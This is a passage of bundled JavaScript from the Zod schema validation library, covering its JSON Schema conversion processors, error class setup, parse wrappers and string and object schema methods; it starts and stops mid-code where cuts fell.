(schema, _ctx, json, _params) => {\n	const def = schema._zod.def;\n	const values = getEnumValues(def.entries);\n	if (values.length === 0) {\n		json.not = {};\n		return;\n	}\n	if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n	if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n	json.enum = values;\n};\nconst customProcessor = (schema, ctx, json, params) => {\n	handleUnrepresentable(schema, ctx, json, params, \"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (schema, ctx, json, params) => {\n	handleUnrepresentable(schema, ctx, json, params, \"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n	const json = _json;\n	const def = schema._zod.def;\n	const { minimum, maximum } = aggregateChecks(schema);\n	if (typeof minimum === \"number\") json.minItems = minimum;\n	if (typeof maximum === \"number\") json.maxItems = maximum;\n	json.type = \"array\";\n	json.items = processSchema(def.element, ctx, {\n		...params,\n		path: [...params.path, \"items\"]\n	});\n};\nfunction inputOptin(schema) {\n	const def = schema._zod.def;\n	if (def.type === \"pipe\" && def.in._zod.traits.has(\"$ZodTransform\")) return inputOptin(def.out);\n	if (def.type === \"catch\") return inputOptin(def.innerType);\n	return schema._zod.optin;\n}\nconst objectProcessor = (schema, ctx, _json, params) => {\n	const json = _json;\n	const def = schema._zod.def;\n	const shape = def.shape;\n	if (Object.getOwnPropertySymbols(shape).length && handleUnrepresentable(schema, ctx, json, params, \"Symbol keys cannot be represented in JSON Schema\")) return;\n	json.type = \"object\";\n	json.properties = {};\n	for (const key in shape) assignProp(json.properties, key, processSchema(shape[key], ctx, {\n		...params,\n		path: [\n			...params.path,\n			\"properties\",\n			key\n		]\n	}));\n	const requiredKeys = [];\n	for (const key of Object.keys(shape)) {\n		const field = def.shape[key];\n		if (ctx.io === \"input\" ? inputOptin(field) === void 0 : field._zod.optout === void 0) requiredKeys.push(key);\n	}\n	if (requiredKeys.length > 0) json.required = requiredKeys;\n	if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n	else if (!def.catchall) {\n		if (ctx.io === \"output\") json.additionalProperties = false;\n	} else if (def.catchall) json.additionalProperties = processSchema(def.catchall, ctx, {\n		...params,\n		path: [...params.path, \"additionalProperties\"]\n	});\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	const isExclusive = def.inclusive === false;\n	const options = def.options.map((x, i) => processSchema(x, ctx, {\n		...params,\n		path: [\n			...params.path,\n			isExclusive ? \"oneOf\" : \"anyOf\",\n			i\n		]\n	}));\n	if (isExclusive) json.oneOf = options;\n	else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	const a = processSchema(def.left, ctx, {\n		...params,\n		path: [\n			...params.path,\n			\"allOf\",\n			0\n		]\n	});\n	const b = processSchema(def.right, ctx, {\n		...params,\n		path: [\n			...params.path,\n			\"allOf\",\n			1\n		]\n	});\n	const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n	const allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n	json.allOf = allOf;\n	ctx.intersections.push(allOf);\n};\n/** JSON object keys are always strings, so a numeric record key schema is re-expressed over the\n* numeric-string form the record parser matches. Deferred to `finalize`, after the flatten: a key\n* behind a wrapper only carries its own `type` before then, and a union key only has its branches.\n*\n* A numeric bound cannot apply to a property name, so `minimum` and its siblings are dropped rather\n* than carried over: keeping them beside `type: \"string\"` reproduces the match-nothing schema this\n* exists to fix. A key that carries one therefore emits wider than the record parses — `z.record(z.number().min(5), V)`\n* accepts `\"3\"` — which is the deliberate trade, since throwing on it would reject an ordinary schema\n* outright. */\nfunction stringifyKeyNames(bySchema, json, visited) {\n	if (json.$ref) {\n		if (visited.has(json)) return json;\n		visited.add(json);\n		const def = bySchema.get(json)?.def;\n		if (!def) return json;\n		const inlined = stringifyKeyNames(bySchema, def, visited);\n		return inlined === def ? json : inlined;\n	}\n	for (const keyword of [\"anyOf\", \"oneOf\"]) {\n		const branches = json[keyword];\n		if (!Array.isArray(branches)) continue;\n		const mapped = branches.map((branch) => stringifyKeyNames(bySchema, branch, visited));\n		if (mapped.some((branch, i) => branch !== branches[i])) json = {\n			...json,\n			[keyword]: mapped\n		};\n	}\n	const types = Array.isArray(json.type) ? json.type : [json.type];\n	const numericType = !types.includes(\"string\") && types.some((t) => t === \"number\" || t === \"integer\");\n	const values = json.enum ?? (json.const !== void 0 ? [json.const] : void 0);\n	if (!numericType && !values?.some((v) => typeof v === \"number\")) return json;\n	const { minimum, maximum, exclusiveMinimum, exclusiveMaximum, multipleOf, format, id, ...rest } = json;\n	if (rest.enum) rest.enum = rest.enum.map((v) => typeof v === \"number\" ? String(v) : v);\n	else if (typeof rest.const === \"number\") rest.const = String(rest.const);\n	if (!numericType) return rest;\n	rest.type = \"string\";\n	if (!values) rest.pattern = (types.includes(\"number\") ? number : integer).source;\n	return rest;\n}\n/** Every record of one conversion, so the carriers are found in a single pass rather than once per record. */\nconst pendingRecords = /* @__PURE__ */ new WeakMap();\nfunction rewriteKeyNames(ctx) {\n	const bySchema = /* @__PURE__ */ new Map();\n	for (const entry of ctx.seen.values()) if (entry.def && !bySchema.has(entry.schema)) bySchema.set(entry.schema, entry);\n	const rewrites = /* @__PURE__ */ new Map();\n	for (const record of pendingRecords.get(ctx) ?? []) {\n		const seen = ctx.seen.get(record);\n		const names = (seen?.def ?? seen?.schema)?.propertyNames;\n		if (!names || names === true || rewrites.has(names)) continue;\n		const rewritten = stringifyKeyNames(bySchema, names, /* @__PURE__ */ new Set());\n		if (rewritten !== names) rewrites.set(names, rewritten);\n	}\n	if (!rewrites.size) return;\n	for (const entry of ctx.seen.values()) for (const carrier of [entry.schema, entry.def]) {\n		const rewritten = carrier && rewrites.get(carrier.propertyNames);\n		if (rewritten) carrier.propertyNames = rewritten;\n	}\n}\nconst recordProcessor = (schema, ctx, _json, params) => {\n	const json = _json;\n	const def = schema._zod.def;\n	json.type = \"object\";\n	const keyType = def.keyType;\n	const patterns = aggregateChecks(keyType).patterns;\n	if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n		const valueSchema = processSchema(def.valueType, ctx, {\n			...params,\n			path: [\n				...params.path,\n				\"patternProperties\",\n				\"*\"\n			]\n		});\n		json.patternProperties = {};\n		for (const pattern of patterns) assignProp(json.patternProperties, exactPattern(pattern).source, valueSchema);\n	} else {\n		if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") {\n			json.propertyNames = processSchema(def.keyType, ctx, {\n				...params,\n				path: [...params.path, \"propertyNames\"]\n			});\n			let pending = pendingRecords.get(ctx);\n			if (!pending) {\n				pending = [];\n				pendingRecords.set(ctx, pending);\n				ctx.deferred.push(() => rewriteKeyNames(ctx));\n			}\n			pending.push(schema);\n		}\n		json.additionalProperties = processSchema(def.valueType, ctx, {\n			...params,\n			path: [...params.path, \"additionalProperties\"]\n		});\n	}\n	const keyValues = keyType._zod.values;\n	const omittableOnInput = ctx.io === \"input\" && inputOptin(def.valueType) !== void 0;\n	if (keyValues && !def.partial && !omittableOnInput) {\n		const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n		if (validKeyValues.length > 0) json.required = validKeyValues.map(String);\n	}\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	const inner = processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	if (ctx.target === \"openapi-3.0\") {\n		seen.ref = def.innerType;\n		json.nullable = true;\n	} else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n};\n/** Round-trips a default value through JSON so the emitted schema is guaranteed to be valid JSON.\n* A BigInt has no reliable encoding, so it goes through `unrepresentable` like any other\n* unrepresentable value. Returns a sentinel when the caller must not write a default of its own. */\nconst UNREPRESENTABLE_DEFAULT = Symbol();\nfunction serializeDefaultValue(value, schema, ctx, json, params) {\n	let unrepresentable = false;\n	const serialized = JSON.stringify(value, (_, val) => {\n		if (typeof val !== \"bigint\") return val;\n		unrepresentable = true;\n		return null;\n	});\n	if (!unrepresentable) return JSON.parse(serialized);\n	handleUnrepresentable(schema, ctx, json, params, \"BigInt defaults cannot be represented in JSON Schema\");\n	return UNREPRESENTABLE_DEFAULT;\n}\nconst defaultProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	const value = serializeDefaultValue(def.defaultValue, schema, ctx, json, params);\n	if (value !== UNREPRESENTABLE_DEFAULT) json.default = value;\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	if (ctx.io !== \"input\") return;\n	const value = serializeDefaultValue(def.defaultValue, schema, ctx, json, params);\n	if (value !== UNREPRESENTABLE_DEFAULT) json._prefault = value;\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	let catchValue;\n	try {\n		catchValue = def.catchValue(void 0);\n	} catch {\n		handleUnrepresentable(schema, ctx, json, params, \"Dynamic catch values are not supported in JSON Schema\");\n		return;\n	}\n	json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n	const def = schema._zod.def;\n	const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n	const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n	processSchema(innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n	json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n	const def = schema._zod.def;\n	processSchema(def.innerType, ctx, params);\n	const seen = ctx.seen.get(schema);\n	seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/classic/errors.js\nconst _installedErrorProtos = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]);\nfunction _lazyMethod(proto, key, make) {\n	Object.defineProperty(proto, key, {\n		configurable: true,\n		enumerable: false,\n		get() {\n			const value = make(this);\n			Object.defineProperty(this, key, {\n				value,\n				configurable: true,\n				writable: true\n			});\n			return value;\n		},\n		set(value) {\n			Object.defineProperty(this, key, {\n				value,\n				configurable: true,\n				writable: true\n			});\n		}\n	});\n}\nconst initializer = (inst, issues) => {\n	$ZodError.init(inst, issues);\n	inst.name = \"ZodError\";\n	const proto = Object.getPrototypeOf(inst);\n	if (_installedErrorProtos.has(proto)) return;\n	_installedErrorProtos.add(proto);\n	_lazyMethod(proto, \"format\", (self) => (mapper) => formatError(self, mapper));\n	_lazyMethod(proto, \"flatten\", (self) => (mapper) => flattenError(self, mapper));\n	_lazyMethod(proto, \"addIssue\", (self) => (issue) => {\n		self.issues.push(issue);\n		self.message = JSON.stringify(self.issues, jsonStringifyReplacer, 2);\n	});\n	_lazyMethod(proto, \"addIssues\", (self) => (issues) => {\n		self.issues.push(...issues);\n		self.message = JSON.stringify(self.issues, jsonStringifyReplacer, 2);\n	});\n	Object.defineProperty(proto, \"isEmpty\", {\n		configurable: true,\n		enumerable: false,\n		get() {\n			return this.issues.length === 0;\n		}\n	});\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, void 0, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.6.5/node_modules/zod/v4/classic/schemas.js\nfunction _ensureDefaultLocale() {\n	if (!globalConfig.localeError) config(en_default());\n}\nfunction _ensureDefaultMemoizer() {\n	if (!globalConfig.memoizer) config({ memoizer: memoizer() });\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n	_ensureDefaultLocale();\n	$ZodType.init(inst, def);\n	inst.def = def;\n	inst.type = def.type;\n	return inst;\n}, {\n	check(...chks) {\n		const def = this.def;\n		return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n			check: ch,\n			def: { check: \"custom\" },\n			onattach: []\n		} } : ch)] }), { parent: true });\n	},\n	with(...chks) {\n		return this.check(...chks);\n	},\n	clone(def, params) {\n		return clone(this, def, params);\n	},\n	brand() {\n		return this;\n	},\n	register(reg, meta) {\n		reg.add(this, meta);\n		return this;\n	},\n	refine(check, params) {\n		return this.check(refine(check, params));\n	},\n	superRefine(refinement, params) {\n		return this.check(superRefine(refinement, params));\n	},\n	overwrite(fn) {\n		return this.check(_overwrite(fn));\n	},\n	optional() {\n		return optional(this);\n	},\n	exactOptional() {\n		return exactOptional(this);\n	},\n	nullable() {\n		return nullable(this);\n	},\n	nullish() {\n		return optional(nullable(this));\n	},\n	nonoptional(params) {\n		return nonoptional(this, params);\n	},\n	array() {\n		return array(this);\n	},\n	or(arg) {\n		return union([this, arg]);\n	},\n	and(arg) {\n		return intersection(this, arg);\n	},\n	transform(tx) {\n		return pipe(this, transform(tx));\n	},\n	default(d) {\n		return _default(this, d);\n	},\n	prefault(d) {\n		return prefault(this, d);\n	},\n	catch(params) {\n		return _catch(this, params);\n	},\n	pipe(target) {\n		return pipe(this, target);\n	},\n	readonly() {\n		return readonly(this);\n	},\n	describe(description) {\n		const cl = this.clone();\n		globalRegistry.add(cl, { description });\n		return cl;\n	},\n	meta(...args) {\n		if (args.length === 0) return globalRegistry.get(this);\n		const cl = this.clone();\n		globalRegistry.add(cl, args[0]);\n		return cl;\n	},\n	isOptional() {\n		return this.safeParse(void 0).success;\n	},\n	isNullable() {\n		return this.safeParse(null).success;\n	},\n	apply(fn, ...args) {\n		return args.length === 0 ? fn(this) : fn(this, ...args);\n	},\n	get \"~standard\"() {\n		return hide(this, \"~standard\", {\n			...standardProps(this),\n			jsonSchema: {\n				input: createStandardJSONSchemaMethod(this, \"input\"),\n				output: createStandardJSONSchemaMethod(this, \"output\")\n			}\n		});\n	},\n	set \"~standard\"(value) {\n		own(this, \"~standard\", value);\n	},\n	parse: function _parse(data, params) {\n		return parse(this, data, params, { callee: _parse });\n	},\n	parseAsync: async function _parseAsync(data, params) {\n		return await parseAsync(this, data, params, { callee: _parseAsync });\n	},\n	safeParse(data, params) {\n		return safeParse(this, data, params);\n	},\n	async safeParseAsync(data, params) {\n		return safeParseAsync(this, data, params);\n	},\n	get spa() {\n		return this?.safeParseAsync;\n	},\n	set spa(value) {\n		own(this, \"spa\", value);\n	},\n	validate(data, params) {\n		return validate(this, data, params);\n	},\n	validateAsync(data, params) {\n		return validateAsync$1(this, data, params);\n	},\n	encode: function _encode(data, params) {\n		return encode(this, data, params, { callee: _encode });\n	},\n	decode: function _decode(data, params) {\n		return decode(this, data, params, { callee: _decode });\n	},\n	encodeAsync: async function _encodeAsync(data, params) {\n		return await encodeAsync(this, data, params, { callee: _encodeAsync });\n	},\n	decodeAsync: async function _decodeAsync(data, params) {\n		return await decodeAsync(this, data, params, { callee: _decodeAsync });\n	},\n	safeEncode(data, params) {\n		return safeEncode(this, data, params);\n	},\n	safeDecode(data, params) {\n		return safeDecode(this, data, params);\n	},\n	async safeEncodeAsync(data, params) {\n		return safeEncodeAsync(this, data, params);\n	},\n	async safeDecodeAsync(data, params) {\n		return safeDecodeAsync(this, data, params);\n	},\n	toJSONSchema(params) {\n		return createToJSONSchemaMethod(this, {})(params);\n	},\n	get description() {\n		return globalRegistry.get(this)?.description;\n	},\n	get _def() {\n		return this._zod.def;\n	}\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n	$ZodString.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n}, /*@__PURE__*/ derived({\n	format: (inst) => aggregateChecks(inst).format ?? null,\n	minLength: (inst) => aggregateChecks(inst).minimum ?? null,\n	maxLength: (inst) => aggregateChecks(inst).maximum ?? null\n}, {\n	regex(...args) {\n		return this.check(_regex(...args));\n	},\n	includes(...args) {\n		return this.check(_includes(...args));\n	},\n	startsWith(...args) {\n		return this.check(_startsWith(...args));\n	},\n	endsWith(...args) {\n		return this.check(_endsWith(...args));\n	},\n	min(...args) {\n		return this.check(_minLength(...args));\n	},\n	max(...args) {\n		return this.check(_maxLength(...args));\n	},\n	length(...args) {\n		return this.check(_length(...args));\n	},\n	nonempty(...args) {\n		return this.check(_minLength(1, ...args));\n	},\n	lowercase(params) {\n		return this.check(_lowercase(params));\n	},\n	uppercase(params) {\n		return this.check(_uppercase(params));\n	},\n	trim() {\n		return this.check(_trim());\n	},\n	normalize(...args) {\n		return this.check(_normalize(...args));\n	},\n	toLowerCase() {\n		return this.check(_toLowerCase());\n	},\n	toUpperCase() {\n		return this.check(_toUpperCase());\n	},\n	slugify() {\n		return this.check(_slugify());\n	}\n}));\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n	$ZodString.init(inst, def);\n	_ZodString.init(inst, def);\n}, {\n	email(params) {\n		return this.check(_email(ZodEmail, params));\n	},\n	url(params) {\n		return this.check(_url(ZodURL, params));\n	},\n	jwt(params) {\n		return this.check(_jwt(ZodJWT, params));\n	},\n	emoji(params) {\n		return this.check(_emoji(ZodEmoji, params));\n	},\n	guid(params) {\n		return this.check(_guid(ZodGUID, params));\n	},\n	uuid(params) {\n		return this.check(_uuid(ZodUUID, params));\n	},\n	uuidv4(params) {\n		return this.check(_uuidv4(ZodUUID, params));\n	},\n	uuidv6(params) {\n		return this.check(_uuidv6(ZodUUID, params));\n	},\n	uuidv7(params) {\n		return this.check(_uuidv7(ZodUUID, params));\n	},\n	nanoid(params) {\n		return this.check(_nanoid(ZodNanoID, params));\n	},\n	cuid(params) {\n		return this.check(_cuid(ZodCUID, params));\n	},\n	cuid2(params) {\n		return this.check(_cuid2(ZodCUID2, params));\n	},\n	ulid(params) {\n		return this.check(_ulid(ZodULID, params));\n	},\n	base64(params) {\n		return this.check(_base64(ZodBase64, params));\n	},\n	base64url(params) {\n		return this.check(_base64url(ZodBase64URL, params));\n	},\n	xid(params) {\n		return this.check(_xid(ZodXID, params));\n	},\n	ksuid(params) {\n		return this.check(_ksuid(ZodKSUID, params));\n	},\n	ipv4(params) {\n		return this.check(_ipv4(ZodIPv4, params));\n	},\n	ipv6(params) {\n		return this.check(_ipv6(ZodIPv6, params));\n	},\n	cidrv4(params) {\n		return this.check(_cidrv4(ZodCIDRv4, params));\n	},\n	cidrv6(params) {\n		return this.check(_cidrv6(ZodCIDRv6, params));\n	},\n	e164(params) {\n		return this.check(_e164(ZodE164, params));\n	},\n	datetime(params) {\n		return this.check(_isoDateTime(ZodISODateTime, params));\n	},\n	date(params) {\n		return this.check(_isoDate(ZodISODate, params));\n	},\n	time(params) {\n		return this.check(_isoTime(ZodISOTime, params));\n	},\n	duration(params) {\n		return this.check(_isoDuration(ZodISODuration, params));\n	}\n});\nfunction string(params) {\n	return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n	$ZodStringFormat.init(inst, def);\n	_ZodString.init(inst, def);\n});\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n	$ZodISODateTime.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n	$ZodISODate.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n	$ZodISOTime.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n	$ZodISODuration.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n	$ZodEmail.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n	$ZodGUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n	$ZodUUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n	$ZodURL.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n	$ZodEmoji.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n	$ZodNanoID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n	$ZodCUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n	$ZodCUID2.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n	$ZodULID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n	$ZodXID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n	$ZodKSUID.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n	$ZodIPv4.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n	$ZodIPv6.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n	$ZodCIDRv4.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n	$ZodCIDRv6.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n	$ZodBase64.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n	$ZodBase64URL.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = /*@__PURE__*/ $constructor(\"ZodE164\", (inst, def) => {\n	$ZodE164.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodJWT = /*@__PURE__*/ $constructor(\"ZodJWT\", (inst, def) => {\n	$ZodJWT.init(inst, def);\n	ZodStringFormat.init(inst, def);\n});\nconst ZodUnknown = /*@__PURE__*/ $constructor(\"ZodUnknown\", (inst, def) => {\n	$ZodUnknown.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => unknownProcessor(inst, ctx, json, params);\n});\nfunction unknown() {\n	return _unknown(ZodUnknown);\n}\nconst ZodNever = /*@__PURE__*/ $constructor(\"ZodNever\", (inst, def) => {\n	$ZodNever.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => neverProcessor(inst, ctx, json, params);\n});\nfunction never(params) {\n	return _never(ZodNever, params);\n}\nconst ZodArray = /*@__PURE__*/ $constructor(\"ZodArray\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodArray.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => arrayProcessor(inst, ctx, json, params);\n	inst.element = def.element;\n}, {\n	min(n, params) {\n		return this.check(_minLength(n, params));\n	},\n	nonempty(params) {\n		return this.check(_minLength(1, params));\n	},\n	max(n, params) {\n		return this.check(_maxLength(n, params));\n	},\n	length(n, params) {\n		return this.check(_length(n, params));\n	},\n	unwrap() {\n		return this.element;\n	}\n});\nfunction array(element, params) {\n	return _array(ZodArray, element, params);\n}\nconst ZodObject = /*@__PURE__*/ $constructor(\"ZodObject\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodObjectJIT.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => objectProcessor(inst, ctx, json, params);\n	installLazyProp(inst, \"shape\", (self) => self._zod.def.shape, false);\n}, {\n	keyof() {\n		return _enum(Object.keys(this._zod.def.shape));\n	},\n	catchall(catchall) {\n		return this.clone(mergeDefs(this._zod.def, { catchall }));\n	},\n	passthrough() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: unknown() }));\n	},\n	loose() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: unknown() }));\n	},\n	strict() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: never() }));\n	},\n	strip() {\n		return this.clone(mergeDefs(this._zod.def, { catchall: void 0 }));\n	},\n	extend(incoming) {\n		return extend(this, incoming);\n	},\n	safeExtend(incoming) {\n		return safeExtend(this, incoming);\n	},\n	merge(other) {\n		return merge(this, other);\n	},\n	pick(mask) {\n		return pick(this, mask);\n	},\n	omit(mask) {\n		return omit(this, mask);\n	},\n	partial(...args) {\n		return partial(ZodOptional, this, args[0]);\n	},\n	exactPartial(...args) {\n		return partial(ZodExactOptional, this, args[0], \"exactPartial\");\n	},\n	required(...args) {\n		return required(ZodNonOptional, this, args[0]);\n	}\n});\nfunction object(shape, params) {\n	const def = {\n		type: \"object\",\n		shape: shape ?? {},\n		...normalizeParams(params)\n	};\n	return new ZodObject(def);\n}\nconst ZodUnion = /*@__PURE__*/ $constructor(\"ZodUnion\", (inst, def) => {\n	$ZodUnion.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => unionProcessor(inst, ctx, json, params);\n	inst.options = def.options;\n});\nfunction union(options, params) {\n	return new ZodUnion({\n		type: \"union\",\n		options,\n		...normalizeParams(params)\n	});\n}\nconst ZodIntersection = /*@__PURE__*/ $constructor(\"ZodIntersection\", (inst, def) => {\n	$ZodIntersection.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => intersectionProcessor(inst, ctx, json, params);\n});\nfunction intersection(left, right) {\n	return new ZodIntersection({\n		type: \"intersection\",\n		left,\n		right\n	});\n}\nconst ZodRecord = /*@__PURE__*/ $constructor(\"ZodRecord\", (inst, def) => {\n	_ensureDefaultMemoizer();\n	$ZodRecord.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => recordProcessor(inst, ctx, json, params);\n	inst.keyType = def.keyType;\n	inst.valueType = def.valueType;\n});\nfunction record(keyType, valueType, params) {\n	if (!valueType || !valueType._zod) return new ZodRecord({\n		type: \"record\",\n		keyType: string(),\n		valueType: keyType,\n		...normalizeParams(valueType)\n	});\n	return new ZodRecord({\n		type: \"record\",\n		keyType,\n		valueType,\n		...normalizeParams(params)\n	});\n}\nconst ZodEnum = /*@__PURE__*/ $constructor(\"ZodEnum\", (inst, def) => {\n	$ZodEnum.init(inst, def);\n	ZodType.init(inst, def);\n	inst._zod.processJSONSchema = (ctx, json, params) => enumProcessor(inst, ctx, json, params);\n	inst.enum = def.entries;\n	inst.options = [...inst._zod.values];\n	const keys = new Set(Object.keys(def.entries));\n	inst.extract = (values, params) => {\n		const newEntries = {};\n		for (const value of values) if (keys.has(value)) newEntries[value] = def.entries[value];\n		else throw new Error(`Key ${value} not found in enum`);\n		return new ZodEnum({\n			...def,\n			checks: [],\n			...normalizeParams(params),\n			entries: newEntries\n		});\n	};\n	inst.exclude = (values, params) => {\n		const newEntries = { ...def.entries };\n		for 